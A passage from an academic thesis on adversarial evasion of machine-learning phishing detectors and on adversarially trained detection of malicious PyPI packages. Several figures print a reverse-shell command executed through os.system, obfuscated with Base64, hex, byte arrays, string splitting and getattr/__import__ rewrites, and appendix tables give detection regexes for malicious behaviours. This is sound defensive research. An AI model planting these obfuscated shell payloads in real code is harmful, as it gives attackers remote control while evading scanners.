• Random Forest (RF ), a tree-based ensemble learning algorithm [30]
that has been shown outstanding performance in phishing detection
tasks [168];

• Convolutional Neural Network (CNN), a deep learning [61] model
used in [181] for detecting phishing webpages.

As for the feature set, we train each algorithm on the HTML features as well
as the combination of both HTML and URL features, which are identified
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in SpacePhish as F r and F c, respectively [16]. The main reason for this
choice is to assess the effectiveness of our adversarial attacks, particularly
when incorporating supplementary features beyond those derived from the
HTML code.
Dataset. We evaluate our approach on the DeltaPhish dataset [42], con-
sisting of 5511 benign and 1012 phishing webpages. We perform a stratified
random split (to preserve the original ratio between benign and phishing
distributions) by using the 80:20 ratio, which is commonly used in related
literature [20, 3]. In other words, 80% of both benign and phishing samples
are used to build the training set, while the remaining 20% of samples are
part of the test set.
Generation of Adversarial Phishing Webpages. We adopt the same
approach of Apruzzese et al. [16]. In particular, we randomly select from
the test set 100 phishing samples that are correctly classified by the best
ML-PWD (typically F c). Such 100 samples are used to evaluate the baseline
detection rate of the target ML-PWD (i.e., no-atk), as well as to craft the
adversarial examples using both the HTML adversarial attacks proposed in
this work (our) and in SpacePhish (i.e., WAr and ˆ︁WAr) [16]. We would like
to remind the reader that WAr consists of injecting 50 hidden internal links,
while ˆ︁WAr injects as many internal links as needed to meet the suspicious
threshold (0.15) of the HTML_objectRatio feature. As for our approach,
the query budget for optimizing the adversarial attacks is set to 36 queries,
which implies 5 mutation rounds (i.e., R = 5 in Algorithm 2).

3.5.3 Results and Discussion

The experimental results are reported in Table 3.2 and Figure 3.2. The
former shows the detection rate of the evaluated ML-PWD (CNN , RF
and LR) on the baseline test set of 100 samples (no-atk), as well as their
adversarial robustness against the attacks proposed in SpacePhish (WAr and
ˆ︁WAr) in this work (our). The latter, instead, reports the security evaluation
curves that show the detection rate at 1% FPR of the target ML-PWD w.r.t.
the number of queries when the best sequence of manipulations is applied. It
is worth noting that the drops in the detection rate represent manipulations
that are effective in decreasing the confidence score and thus are included
in the best (i.e., optimal) sequence of manipulations. Instead, flat regions
indicate manipulations that are ineffective and thus are not used to generate
the final adversarial example. Moreover, we have computed the detection
rate at 1% FPR because this threshold is widely adopted in the literature
[42, 49] as well as to perform a fair evaluation of the ML-PWD, i.e., they
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ML algo F no-atk WAr ˆ︁WAr our

CNN
F r 0.81 0.33 0.78 0.00
F c 0.94 0.93 0.90 0.00

RF
F r 0.95 0.90 0.79 0.00
F c 0.97 0.96 0.90 0.00

LR
F r 0.72 0.51 0.53 0.00
F c 0.86 0.77 0.72 0.00

Table 3.2: Average detection rate at 1% FPR of the target ML-PWD (CNN ,
RF and LR) on the DeltaPhish dataset. Columns represent the baseline
(no-atk), the attacks proposed in SpacePhish (WAr and ˆ︁WAr) [16], and our
approach (our). The best results are in bold.

are evaluated assuming the same FPR. From the obtained results we can
gain several takeaways that are described in the following.

Query-efficient Adversarial Attacks. The obtained results highlight
that the proposed adversarial attacks clearly drive to zero the detection
rate of all the evaluated ML-PWD using just 30 queries, hence underlining
the effectiveness of the proposed methodology. Specifically, by only using the
SR manipulations (i.e., the first 11 queries shown on the left of the dotted
vertical line in Figure 3.2) the average detection rate is lower than 50%
for all the ML-PWD except for the RF model trained on the whole set of
features (F c), whose detection rate is 53%. As for the MR manipulations,
they play a crucial role in boosting the attack’s effectiveness. Indeed, as
depicted in Figure 3.2, finding the optimal number of internal and external
elements to inject significantly reduces the detection rate to nearly zero
within just a few queries. This also underlines that the HTML features
related to the number of internal and external elements play a critical role
in terms of adversarial robustness.

[RQ3.1] The proposed adversarial attacks are highly effective in evading
detection by state-of-the-art ML-PWD, driving their detection rate to
zero within just 30 queries.
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Figure 3.2: Security evaluation curves showing how the detection rate at
1% FPR of the target ML-PWD changes w.r.t. the number of queries when
applying the best sequence of manipulations. Flat regions in the plot indi-
cate manipulations that are not applied because they do not decrease the
output score. The impact of SR and MR manipulations is shown on the left
and right sides of the dotted vertical line, respectively.

[RQ3.2] Both SR and MR manipulations significantly contribute to the
effectiveness of the proposed attacks, with MR manipulations playing a
crucial role in achieving near-zero detection rates.

HTML Features Matter. Even more interesting is the fact that the
proposed adversarial manipulations, while targeting the HTML features,
have proven effective in evading the ML-PWD trained on the whole feature
set F c, including both the HTML and URL features. This underlines two
key points. First, the adversarial robustness mainly relies on the HTML
features, as also discussed above when analyzing the manipulations’ effec-
tiveness. Second, the supplementary URL features do not provide substan-
tial benefits in terms of adversarial robustness. Indeed, an attacker can
effectively evade the ML-PWD by exclusively leveraging the proposed ma-
nipulations that target the HTML features.

[RQ3.3] HTML features play a key role in the ML-PWD’s adversarial
robustness since the proposed manipulations targeting these features are
enough to evade detection, even when the URL features are included.
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3.6 Conclusions and Future Work

In this work, we have introduced a novel methodology for generating query-
efficient and notably effective HTML adversarial attacks. Specifically, we
have designed a novel set of 14 functionality- and rendering-preserving ma-
nipulations that extend the current state-of-the-art, as well as a novel black-
box optimizer tailored to such manipulations in order to generate adversar-
ial phishing webpages that are able to raze to the ground several state-
of-the-art machine-learning phishing webpage detectors (ML-PWD). Our
experiments also reveal that the ML-PWD’s adversarial robustness primar-
ily depends on the HTML features as our methodology effectively evades
detection even when using additional URL features. To counter the ad-
versarial attacks proposed in this work, a future work development is ex-
perimenting with well-known state-of-the-art approaches for increasing the
adversarial robustness such as adversarial training [104, 191] and certified
robustness techniques [122]. Moreover, although the HTML manipulations
are specifically crafted to evade the features used in SpacePhish [17], another
interesting future work is evaluating our methodology in the wild, i.e., as-
sessing its effectiveness against production-grade phishing detectors, as well
as other feature representations proposed in the literature. Finally, as for
the proposed black-box optimizer, while it leverages the output scores to
optimize the selection of the adversarial manipulations, in principle, it can
also be extended to the hard-label scenario [154].



Chapter 4

Robust and Adaptive

Detection of Malicious

Packages from PyPI to

Enterprises

4.1 Introduction

Supply chain attacks are a growing threat to the software industry. Ac-
cording to a recent Supply Chain report released by Sonatype in 2024, the
number of malicious packages discovered in the wild had a yearly increase
of 156%, with 512,847 new malicious packages identified in 2024 [155]. Re-
cently, PyPI, one of the main ecosystems for Python packages, has faced a
growing number of attacks that even led to a temporary halt in the creation
of new projects and the registration of new users [35, 63].

To prevent the spread of malicious software packages before they cause
considerable harm, it is crucial to accurately and swiftly analyze newly
uploaded packages. Yet, the detection of malicious packages is still an open
problem in real-world scenarios [155]. While this has been the subject of
several recent studies [89, 190, 97, 192, 70, 72], the current state-of-the-art
overlooks two important open challenges. First, existing approaches do not
consider robustness to adversarial manipulations, which is a crucial factor
in an adversarial environment. Second, researchers have not yet studied
how a given solution can be adapted to different stakeholders, who in turn
have different requirements in terms of acceptable false positive rate (FPR)
and tolerance for false negatives (FN). For instance, repository maintainers
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with scarce resources might prioritize low FPR, while dedicated enterprise
security teams might tolerate higher FPR in exchange for better security
guarantees.

Adversarial Setting – Several detectors based on static signatures and ma-
chine learning techniques have been proposed to identify malicious packages
in popular ecosystems such as PyPI and NPM [89, 190, 97, 192, 70, 72].
However, none of the previous studies have systematically evaluated the
robustness of the current malicious package detectors against adversarial
attacks, i.e., carefully crafted inputs that are designed to mislead the sys-
tem into making incorrect predictions [25, 49]. This is a significant gap
in the literature, since a clear understanding of adversarial manipulations
would open the door to more effective countermeasures, for instance, by
leveraging adversarial training (AT) [25], a well-known technique that con-
sists of including adversarial examples during training, thereby giving the
detector the ability to withstand the corresponding evasive attack patterns
at test time. However, to the best of our knowledge, no prior study has
thoroughly evaluated the effectiveness of AT in the context of malicious
package detection.

Operational Tuning – Existing solutions were not designed to address
the needs of different actors in the software supply chain, who have differ-
ent requirements in terms of detection and false positive rates. For instance,
repository maintainers require a very low FPR due to the high volume of
packages uploaded daily, but can tolerate false negatives [174]. It is worth
mentioning that in 2020, PyPI introduced a malware scanning pilot, but it
was discontinued two years later due to the overwhelming number of false
positives [174]. This is a clear indication that the current solutions are not
able to meet the needs of repository maintainers. On the other hand, secu-
rity engineers in software enterprises need to monitor only a small subset of
the available packages (typically those actively used within their organiza-
tion), and therefore can tolerate a higher FPR in exchange for better detec-
tion performance. Hence, a flexible solution that can be easily customized
to the needs of different actors in the software supply chain is needed.

Contributions – In this work, we aim to fill the above-mentioned gaps
by introducing a novel robust approach (see Figure 4.1) that can be easily
customized to the needs of different actors in the software supply chain
by tuning the classification threshold to the desired FPR. We extensively
evaluate our solution on real-world datasets to demonstrate its robustness
and adaptability in real-world scenarios. To this end, our study makes
several contributions.
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Figure 4.1: Proposed approach: we design a robust and adaptive detector
of malicious Python packages, which can be tuned to the needs of different
actors in the software supply chain, from PyPI maintainers to enterprise
security teams.

First, we propose a novel methodology to generate adversarial packages

– malicious packages generated by leveraging functionality-preserving ad-
versarial manipulations of the source code, i.e., manipulations that modify
the source code of malicious packages without compromising their mali-
cious intent, while preserving syntactic and semantic correctness [18, 46].
Specifically, we focus on the PyPI ecosystem, and we propose a novel set of
manipulations that can be applied to Python source code. We show that
our manipulations effectively bypass several state-of-the-art detectors with
an 87.42% success rate.

Second, we comprehensively evaluate the effectiveness of adversarial
training (AT) in the context of malicious package detection by experiment-
ing on a real-world dataset of 122,398 packages collected daily from PyPI
over a period of 80 days. Our results show that AT has a double-edged effect.
On the one hand, it significantly improves the robustness of our detector by
2.5x against adversarial manipulations and allows finding 6 (+10%) more
obfuscated packages compared to the baseline detector. On the other hand,
it negatively impacts, even if slightly, the performance on non-obfuscated
packages (+2 malicious packages detected by the baseline w.r.t. the AT-
based detector). To the best of our knowledge, this is the first study that
proposes a systematic methodology to evaluate the robustness of malicious
package detectors against adversarial attacks in the problem space [18], and
a thorough evaluation of AT in this domain.

Third, we thoroughly evaluate the adaptability of our solution on two
real-world case studies: a first study addressing the needs of PyPI main-
tainers (tuned at 0.1% FPR) and a second one conducted in collaboration
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with an enterprise security team (tuned at 10% FPR). Both case studies
lasted for 37 days. In the first study, we analyzed 91,949 packages collected
from PyPI and our solution was able to detect an average of 2.48 malicious
packages per day, with only 2 false positives to analyze per day, thus en-
suring a very low effort for the PyPI maintainers to vet the results. In the
second case, our solution was used to monitor 1,596 packages adopted by a
large multinational software company (i.e., SAP), and, even if using a very
high FPR of 10%, we achieved an average of 1.24 false positives to analyze
per day, which implies only a few minutes of work for an enterprise security
team.

Overall, across all the experiments we identified and reported to the
community 346 malicious Python packages.

Finally, in the spirit of open science, we publicly release the artifacts of
this study at the following link: https://github.com/SAP-samples/robus
t-pypi-detector.

4.2 Methodology

This section describes the proposed methodology for generating adversar-
ial packages. These packages serve two distinct purposes: (i) to assess the
adversarial robustness of the detectors evaluated in our experiments, and
(ii) to improve their robustness through adversarial training (AT) by in-
corporating adversarial packages into the training process. To this end, we
first describe the adversarial manipulations used to generate the adversarial
packages (Section 3.4.1), and then detail the process of adversarial training
(Section 4.2.2).

4.2.1 Adversarial Manipulations of Source Code

The adversarial manipulations adopted in our work are summarized in
Table 4.1. The list consists of a set of fine-grained and functionality-
preserving operations based on common code obfuscation techniques pro-
posed by Schrittwieser et al. [150]. Their goal is to modify the source code
of a given package without compromising its (malicious) functionality, by
preserving the syntactic and semantic correctness of the code, while mak-
ing it more challenging for static analyzers and detectors based on static
features to identify the malicious content.

In particular, in our work we focus on obfuscation of security-relevant
strings (i.e., IPs, URLs, system commands), API calls, and techniques that
modify the structure of the source code to evade detection. To this end, we

https://github.com/SAP-samples/robust-pypi-detector
https://github.com/SAP-samples/robust-pypi-detector
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Category Manipulation Description

Data
Obfuscation

Encoding Encode the string using a specific encoding scheme,
such as Base64, Base32, Base16, or hexadecimal.

Binary Arrays Represent the string as a binary array
and manipulate it using bitwise operations.

Data Reordering Split the string into multiple substrings
and reorder them at runtime.

Static Code
Manipulations

Renaming Identifiers Rename identifiers (e.g., variables and function names)
to evade detection by static analysis tools.

Useless Code
Injection

Inject dead or useless code snippets to hide
the malicious content and increase analysis complexity.

API Obfuscation Replace an API import, call, or reference in the source code
with a semantically equivalent syntax to evade detection.

Table 4.1: Summary of the adversarial manipulations adopted in this work.

leveraged the categorization proposed by Ladisa et al. [90], which classifies
the most common obfuscation techniques used by malicious packages into
three main categories: data obfuscation, static code manipulations, and
dynamic code manipulations. Given our focus on static classifiers, we cover
the manipulations in the first two categories and tailor their implementation
to the Python programming language. To generate adversarial packages,
these manipulations are combined together and optimized against the target
detector by leveraging a state-of-the-art black-box optimization algorithm
(described in Section 4.2.2).

Moreover, we remark that, while our manipulations are built on insights
from previous research [90, 150], no prior work has comprehensively evalu-
ated their effectiveness for assessing the adversarial robustness of malicious
package detectors. As for the novelty of our methodology, in this work
we introduce a new manipulation named API obfuscation – to the best of
our knowledge never studied in previous work – that leverages Python’s
polymorphic syntax to rewrite API calls in diverse ways to evade detec-
tion. Finally, we point out that we extensively validated the correctness
and functionality-preserving nature of our manipulations through unit tests
and real-world malicious packages.

Data Obfuscation

This category comprises a set of manipulations that modify the way strings
are represented within the source code, to obfuscate them from static analy-
sis techniques. Malicious packages often include hard-coded strings such as
URLs or IP addresses that point to a Command & Control (C&C) server, or
a shell command to execute a reverse shell [68, 90]. Since these indicators
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1

# Malicious payload: "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
1 os.system(__import__("base64").b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS84
  MDgwIDA+JjE=").decode())

2 os.system(bytes.fromhex("62617368202d69203e26202f6465762f7463702f31302e302e302e312
  f3830383020303e2631").decode())

3 os.system(bytes([98, 97, 115, 104, 32, 45, 105, 32, 62, 38, 32, 47, 100, 101, 118, 
  47, 116, 99, 112, 47, 49, 48, 46, 48, 46, 48, 46, 49, 47, 56, 48, 56, 48, 32, 48, 
  62, 38, 49]).decode())

Figure 4.2: Example of how to obfuscate the malicious payload "bash -i
>& /dev/tcp/10.0.0.1/8080 0>&1" (reverse shell) with the corresponding
string encoded in Base64 (line 1), hexadecimal (line 2) and byte array rep-
resentation (line 3), which is then decoded at runtime and executed using
the os.system() function.

can reveal information about the attacker’s techniques and intended goals,
from an attacker’s point of view it is crucial to leverage data obfuscation
techniques to evade detection and hide details that could expose their iden-
tity. For these reasons, even though these manipulations can be applied
to any string in the source code, our work focuses specifically on strings
representing URLs, IPs and system commands.

Encoding. This manipulation consists in encoding a given string us-
ing a specific encoding scheme, replacing the original string with the en-
coded version, and decoding it at runtime to retrieve the original content.
Among the main encoding schemes, we consider Base64, Base32, Base16,
and hexadecimal encoding, as they have been observed in many real-world
attacks [134, 188] and are natively supported by Python. In our imple-
mentation, the encoding scheme is randomly selected for each string to be
obfuscated, and the decoding function is imported (if needed) and executed
inline. For instance, Figure 4.2 shows how the malicious payload "bash
-i >& /dev/tcp/10.0.0.1/8080 0>&1" (a reverse shell), which can be ex-
ecuted using the os.system() function, is replaced with the corresponding
encoded string in Base64 (line 1) or hexadecimal (line 2), and then de-
coded at runtime using the related decoding functions (i.e., b64decode()
and fromhex()).

Binary Arrays. This manipulation consists in representing strings as bi-
nary arrays. In this way, attackers can manipulate them using bitwise oper-
ations, XOR operations, or with custom encoding schemes to further obfus-
cate the strings [90, 151]. To this end, Python provides the bytearray() and
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1

# Malicious payload: "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
1  s1, s2, s3, s4 = "bash -i >& ", "/dev/tcp/", "10.0.0.1/8080 ", "0>&1"

2 os.system(s1 + s2 + s3 + s4)

3 os.system("".join([s1, s2, s3, s4]))

4 os.system("{}{}{}{}".format(s1, s2, s3, s4))

5 os.system(f"{s1}{s2}{s3}{s4}")

6  for c in [s1, s2, s3, s4]:
7     s += c
8 os.system(s)

Figure 4.3: Example of how to split the malicious payload "bash -i >&
/dev/tcp/10.0.0.1/8080 0>&1" into multiple substrings and reorder them
in several equivalent ways in Python.

bytes() functions that can be used to represent and manipulate binary data.
Figure 4.2 shows how the malicious payload "bash -i >& /dev/tcp/10.0.0.1/
8080 0>&1" is replaced with the corresponding byte array representation
(line 3), which is then decoded and executed at runtime.

Data Reordering. This manipulation involves splitting strings into multi-
ple substrings and reordering them to obfuscate the original content. Detec-
tion is complicated by the fact that programming languages like Python and
JavaScript offer many ways to reorder substrings. For instance, as shown in
Figure 4.3, the malicious payload "bash -i >& /dev/tcp/10.0.0.1/ 8080
0>&1" can be split into multiple substrings (line 1) and reordered in several
equivalent approaches:

• by joining the substrings with the + operator (line 2);

• by using the join() function of the str class (line 3);

• by creating a formatted string using the format() function (line 4);

• by using the f-string syntax (line 5);

• by concatenating the substrings using a for loop (lines 6–8)

Static Code Manipulation

This category includes manipulations that obfuscate the source code by
modifying its structure without changing its functionality.
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Renaming Identifiers. This manipulation, observed in real-world at-
tacks [69], involves renaming identifiers (e.g., variable names) in the source
code to evade detection by static analysis tools. For instance, when import-
ing a module or a method such as from os import system, the attacker
can rename the system method to evade detection, as in from os import
system as _ssystem. In this work, we support renaming identifiers repre-
senting security-sensitive modules and related methods such as os.system(),
widely used to execute system commands.

Useless Code Injection. This manipulation involves injecting useless
code snippets into the source code to conceal the malicious content and
make the malicious package appear more similar to benign ones, thereby
increasing the complexity of the analysis process. We implement this ma-
nipulation by adding comments, whitespace characters, or code snippets
that do not affect the package’s functionality.

API obfuscation. This novel manipulation consists of obfuscating API
calls in the source code by rewriting them using an alternative but se-
mantically equivalent syntax to avoid detection by static analysis tools,
particularly those relying on pattern matching of API calls, such as Guard-
Dog [45]. Specifically, as shown in Figure 4.4, this manipulation lever-
ages the polymorphic nature of Python’s syntax to import a module, call a
method (or a function), and reference a given method included in a mod-
ule. As for modules’ imports, the common import statement can be re-
placed with the __import__() function that allows to import a module
dynamically. For example, the statement import os can be replaced with
__import__("os"). Similarly, the standard way of calling a method, i.e.,
method(...), can be replaced with the equivalent method.__call__(...).
Finally, to reference a method included in a module, the standard syntax
(i.e., module.method) can be replaced with these alternatives: getattr(mod
ule, "method"), module.__getattribute__("method"), as well as module.
__dict__["method"]. These obfuscation techniques can also be combined
to further complicate analysis. For instance, the payload "bash -i >&
/dev/tcp/10.0.0.1/8080 0>&1" can be equivalently rewritten as:
getattr( __import__("os"), "system")("bash -i >& /dev/tcp/10.0.0.1/
8080 0>&1").
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1

Importing a module

- Using import statement
import module

- Inline import
__import__("module")

Referencing a module’s method

- Using import statement
from module import method
...
method(...)

- Using __dict__ statement:
module.__dict__["method"]

- Using __getattribute__ statement:
module.__getattribute__("method")

- Using getattr() method:
getattr(module, "method")

Method call

- Default
function(...)

- Using the __call__ method
function.__call__(...)

Multiple ways to rewrite the statement os.system(<PAYLOAD>)

os.system.__call__(<PAYLOAD>)
os.__dict__["system"](<PAYLOAD>)
os.__dict__["system"].__call__(<PAYLOAD>)
os.__getattribute__("system")(<PAYLOAD>)
os.__getattribute__("system").__call__(<PAYLOAD>)
__import__("os").system(<PAYLOAD>)
__import__("os").system.__call__(<PAYLOAD>)
__import__("os").__dict__["system"](<PAYLOAD>)
__import__("os").__dict__["system"].__call__(<PAYLOAD>)
__import__("os").__getattribute__("system")(<PAYLOAD>)
__import__("os").__getattribute__("system").__call__(<PAYLOAD>)
getattr(os, "system")(<PAYLOAD>)
getattr(os, "system").__call__(<PAYLOAD>)
getattr(__import__("os"), "system")(<PAYLOAD>)
getattr(__import__("os"), "system").__call__(<PAYLOAD>)

Figure 4.4: Example of API obfuscation manipulation to rewrite a module
import, a method call, and a method reference using an alternative but
semantically equivalent syntax.

4.2.2 Adversarial Training

To improve the adversarial robustness of our solution, we leveraged AT [104,
25]. The core idea is to include adversarial examples (i.e., adversarial pack-
ages, in our case) during training, thereby enabling the model to with-
stand the corresponding evasive attack patterns at test time. Following
prior works in other cybersecurity domains that leverage problem-space
AT [54, 18] with practical, domain-specific, non-differentiable manipula-
tions—including malware detection [46], phishing [115], and web application
firewalls [54], we adopted a black-box optimization algorithm to optimize
the adversarial manipulations described above against the target detector.

Specifically, we leveraged the query-efficient black-box algorithm intro-
duced in [115] (see Section 3.4.2), which relies on mutation-based fuzzing
techniques. The goal is to mutate the original malicious package to mini-
mize the confidence score returned by the machine-learning model (i.e., the
objective function), using an iterative approach consisting of consecutive
mutation rounds. To improve query efficiency, the optimizer categorizes
manipulations into single-round (SR) and multi-round (MR). The former
are applied only once to the original sample, while the latter are applied
iteratively to the adversarial package generated in the previous round. In
our case, all data obfuscation manipulations are implemented as SR manip-
ulations. Specifically, for each type of IOC (IP, URL, system commands),
we randomly select one manipulation from encoding, compression, encryp-
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tion, or binary array representations and apply it to all related strings in
the source code. As for static code manipulations, they are implemented
as SR manipulations except for useless code injection, which is treated as a
MR manipulation, since the amount of injected code required to affect the
model’s confidence score (i.e., to evade detection) is not known a priori.

4.3 Experiments

In this section we describe the experimental setup, the detectors, and the
datasets used in our tests. Finally, we introduce the research questions we
want to explore in our experiments.

4.3.1 Detectors

Several detectors have been proposed by the research community to detect
supply-chain attacks, often using different approaches and relying on differ-
ent features. As a baseline, we will use GuardDog [45], a tool for malicious
package detection based on static rules.

Most of the solutions based on machine learning that have been proposed
to date are not available, and those that are, such as the one proposed by
Ladisa et al. [89], do not include several key features that have been shown
to be very effective in detecting malicious packages [190, 72].

Hence, to build our state-of-the-art detector (SoA hereinafter), we took
the open-source tool released by Ladisa et al. [89] as a starting point, and
extended its feature set to include missing key features to capture the pres-
ence of security-sensitive APIs and suspicious behaviors [190, 72].

The complete feature set of our SoA detector is summarized in Table 4.2.
On top of those already provided by the tool, we added the following three
classes (highlighted in green in Table 4.2 and detailed below): API-related,
behavior-related, and obfuscation-related (based on the adversarial manip-
ulations described in Section 3.4.1) features.

API-related features. These features are designed to detect the usage
of security-sensitive APIs that are commonly used to perform malicious ac-
tions, such as executing arbitrary code, downloading files, or exfiltrating sen-
sitive information. To this end, we performed a detailed analysis of the most
common APIs used in malicious packages of the MalwareBench dataset [185]
and the current literature [190]. We identified a set of 215 APIs that are
divided into six categories: Network, Filesystem, Host Information, Code
Execution, Command Execution, and Encoding. For each API, we used
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Category Features Type Size

Structural

Presence of installation hook(s) in setup.py B 1
Count of lines (source and metadata) N 2

Count of words (source and metadata) N 2
Count of files per selected extensions (.js, .md, . . . ) N 91

API Count of security-related API N 215

Behavior Count of suspicious behaviors N 5

Obfuscation

Count of adversarial patterns (source and metadata) N 12
Statistics (mean, std. deviation, 3rd quartile and max)
of Shannon entropy of strings (source and metadata) N 8

Statistics (mean, std. deviation, 3rd quartile and max)
of Shannon entropy of identifiers (source and metadata) N 8

Count of homogeneous and
heterogenous strings (source and metadata) N 4

Count of homogeneous and
heterogenous identifiers (source and metadata) N 4

String

Count of URLs (source and metadata) N 2
Count of IP addresses (source and metadata) N 2

Count of suspicious tokens in
strings (source and metadata) N 2

Count of base64 strings (source and metadata) N 2
Statistics (mean, std. deviation, 3rd quartile and max)

of ratio of square brackets per source code file size N 8

Statistics (mean, std. deviation, 3rd quartile and max)
of ratio of equal signs per source code file size N 8

Statistics (mean, std. deviation, 3rd quartile and max)
of ratio of plus signs per source code file size N 8

Table 4.2: Summary of the features adopted by the SoA detector. N:
numeric feature, B: boolean feature. Features in green are those proposed
in this work.

one numeric feature to count the number of occurrences of the API in the
source code. The complete list of APIs is shown in Table 4.3.

Behavior-related features. These features are designed to detect the
presence of suspicious behaviors that are commonly associated with ma-
licious packages. To this end, we adopted the behaviors defined by Guo
et al. [68], namely Remote Control, Information Stealing, Code Execution,
Command Execution, and Unauthorized File Operations. Each behavior
consists of one or more sequences of security-sensitive APIs belonging to
the categories defined above. For instance, the Information Stealing behav-
ior is defined as a sequence of APIs belonging to the following categories:
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([Filesystem], Host Information, [Code Execution], Network), where the
brackets indicate that the API is optional.

To detect the presence of these behaviors, we leveraged a two-step ap-
proach: (i) security-sensitive APIs extraction, and (ii) behavior matching.
In the first step, for each file, we extracted the security-sensitive APIs from
the Abstract Syntax Tree (AST) representation of the code by leverag-
ing the ast module in Python. In the second step, we replaced each API
with the corresponding category and matched the obtained sequence of
categories against the predefined behaviors, which are represented through
battle-tested regular expressions. The regular expressions are designed to
be flexible, i.e., they allow for the presence of additional API categories
in the sequence, as long as the order of the categories is preserved. For
instance, the Information Stealing behavior can be detected in the (Host
Information, Command Execution, Network) sequence, where there is a
Command Execution API between Host Information and Network APIs.

Furthermore, we extensively tested the regular expressions on the Mal-

wareBench dataset by manually verifying that they are able to detect the
behaviors of the malicious packages in the dataset. For each behavior, we
used one numeric feature to count the number of occurrences of the behav-
ior in the package. The complete list of behaviors and the related regular
expressions are shown in Table 4.4 in the Appendix.

Obfuscation-related features. These features are designed to detect the
presence of various obfuscation patterns that are commonly used in ma-
licious packages. To this end, we leveraged a set of battle-tested regular
expressions aimed at detecting the main obfuscation techniques related to
the proposed adversarial manipulations (see Section 3.4.1): baseXX en-
coding (including Base64, Base32, Base16 and Base85 encoding schemes),
hexadecimal encoding, binary array encoding, string splitting, XOR-based
obfuscation, and API obfuscation.

As for the baseXX encoding, we use several regular expressions to de-
tect the presence of related APIs, such as b64decode(), b32decode(),
b16decode(), and b85decode(). The hexadecimal encoding is detected by
matching the presence of the bytes.fromhex() and hex() methods, as well as
the presence of hex-encoded strings. The binary array encoding is detected
by matching the presence of the bytes() and bytearray() methods as well
as the presence of bytearray-encoded strings. The string splitting obfusca-
tion is detected by matching the presence of string concatenation based on
the + operator and join() method. The XOR-based obfuscation is detected
by matching the presence of the ˆ operator used along with the xor() and
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ord() methods. Finally, the API obfuscation is detected by matching the
obfuscation patterns detailed in Section 3.4.1 and summarized in Figure 4.4.

For each obfuscation technique, we used one numeric feature to count
the number of occurrences of the obfuscation pattern in both the source
code and metadata (i.e., setup.py).

Model Training and Evaluation

All experiments were conducted on an Ubuntu 22.04.6 LTS server equipped
with an Intel Xeon Platinum 8160 CPU @ 2.10 GHz (64 cores) and 256 GB
of RAM.

To train and evaluate our detectors, we leveraged all the tree-based mod-
els proposed by Ladisa et al. [89], namely Decision Tree, Random Forest [30]
and XGBoost [37]. We focused only on these models for several reasons.
First, for a fair evaluation with their work. Second, tree-based models are
widely adopted in this area (e.g., by Huang et al. [72]) for their advantages:
explainability and effectiveness at handling high-dimensional data, while
maintaining good accuracy [112]. Third, tree-based models ensure a better
trade-off between performance and computational training cost compared to
deep-learning solutions [65], which is very important in both our enterprise
and PyPI scenarios.

All models were implemented using the following Python libraries: scikit-
learn v1.5.0 [132], and xgboost v2.1.0. To train and tune the models’ hyper-
parameters, in line with current research [169], we performed a grid search
based on a 5-fold cross-validation (CV) on the training set [143] to ensure
a fair evaluation. Since this resulted in five different detectors (for each
tree-based model), all the results reported in the following are the mean
values of the five detectors, each one evaluated on the corresponding test
set obtained by the 5-fold CV.

4.3.2 Datasets

For our experiments we adopted two types of datasets. First, in order to
compare with the state-of-the-art and experiment with our detector, we
employed MalwareBench – a recent dataset collected in fall 2023 by Zahan
et al. [185].

In addition, to perform real-world tests and measure how the SoA de-
tector performed in the wild, we collected a live stream of temporally-newer
package releases from PyPI over two different time periods.
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Category Module API

Network

requests get, post, put, patch, delete, request, Session

socket socket, close, create_connection,
create_server, dup

socket.socket bind, listen, accept, connect, connect_ex,
close, detach, dup, shutdown

webhook send
Webhook from_url
aiohttp request

aiohttp.ClientSession get, post, put, patch, delete, ws_connect
http.client.

HTTP(S)Connection
request, getresponse, putrequest,

connect, close
urllib.request urlopen, urlretrieve, Request

urllib3 request
urllib3.connection.

HTTP(S)Connection
connect, request, request_chunked,

getresponse, close

Filesystem

os

open, remove, rename, replace, truncate,
stat, lstat, fstat, chown, chmod,
lchmod, lchown, link, symlink,

readlink, realpath, unlink,
rmdir, mkdir, makedirs, removedirs,

walk, listdir, chdir, fchdir, access,
startfile, mkfifo, mknod, pathconf,
fpathconf statvfs, fstatvfs, fsync,

fdatasync, sync, fsync_range

shutil copyfile, copyfileobj, copy, copy2,
copytree, rmtree, move

io.BufferedReader read, read1, readinto, readinto1
io.BufferedWriter write

builtins open, read, write, readline,
readlines, writelines

Host Information

getpass getuser, getpass

socket gethostname, getpeername,
gethostbyname, getfqdn

platform

node, system, release,
version, machine, processor,

architecture, platform, uname,
linux_distribution, mac_ver, win32_ver

winreg

CreateKey, CreateKeyEx, ConnectRegistry,
DeleteKey, DeleteKeyEx, DeleteValue,

EnumKey, EnumValue, LoadKey,
OpenKey, OpenKeyEx, QueryValue,
QueryValueEx, SaveKey, SetValue,

SetValueEx, QueryInfoKey

Code Execution builtins exec, eval

Command Execution

subprocess getoutput, call, check_output,
run, Popen, check_call

pty fork, openpty, spawn

os popen, system, posix_spawn, posix_spawnp,
getenv, chmod, dup2, startfile, exec∗1, spawn∗2

Encoding

base64

b64encode, b64decode,
urlsafe_b64encode, urlsafe_b64decode,

standard_b64encode, standard_b64decode,
b32encode, b32decode, b16encode, b16decode,

b85encode, b85decode, encode, decode
hashlib md5, sha1, sha224, sha256, sha384, sha512

bytearray fromhex, hex
zlib compress, decompress
gzip compress, decompress
lzma compress, decompress

marshal load, loads
__pyarmor__

Table 4.3: List of security-sensitive APIs and their categories.
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Behavior Regular Expression

Remote Control NETWORK_(NETWORK_)?\w*(ENCODING_)?\w*CMDEXEC
Information

Stealing
FILESYSTEM_(HOSTINFO_|ENCODING_)?\w*NETWORK|
HOSTINFO_(FILESYSTEM_|ENCODING_)?\w*NETWORK

Code Execution NETWORK_(ENCODING_)?\w*CEXEC|ENCODING_\w*CEXEC|CEXEC
Command
Execution

CMDEXEC_(ENCODING_)?\w*NETWORK|ENCODING_\w*CMDEXEC_(ENCODING_)?\w*NETWORK|
CMDEXEC_\w*ENCODING|ENCODING_\w*CMDEXEC_\w*ENCODING|ENCODING_\w*CMDEXEC

Unauthorized File
Operations

NETWORK_\w*FILESYSTEM_\w*CMDEXEC_\w*FILESYSTEM|NETWORK_\w*FILESYSTEM_\w*
CMDEXEC|FILESYSTEM_\w*CMDEXEC_\w*FILESYSTEM|FILESYSTEM_\w*CMDEXEC

Table 4.4: Behaviors adopted in this work and related regular expressions.

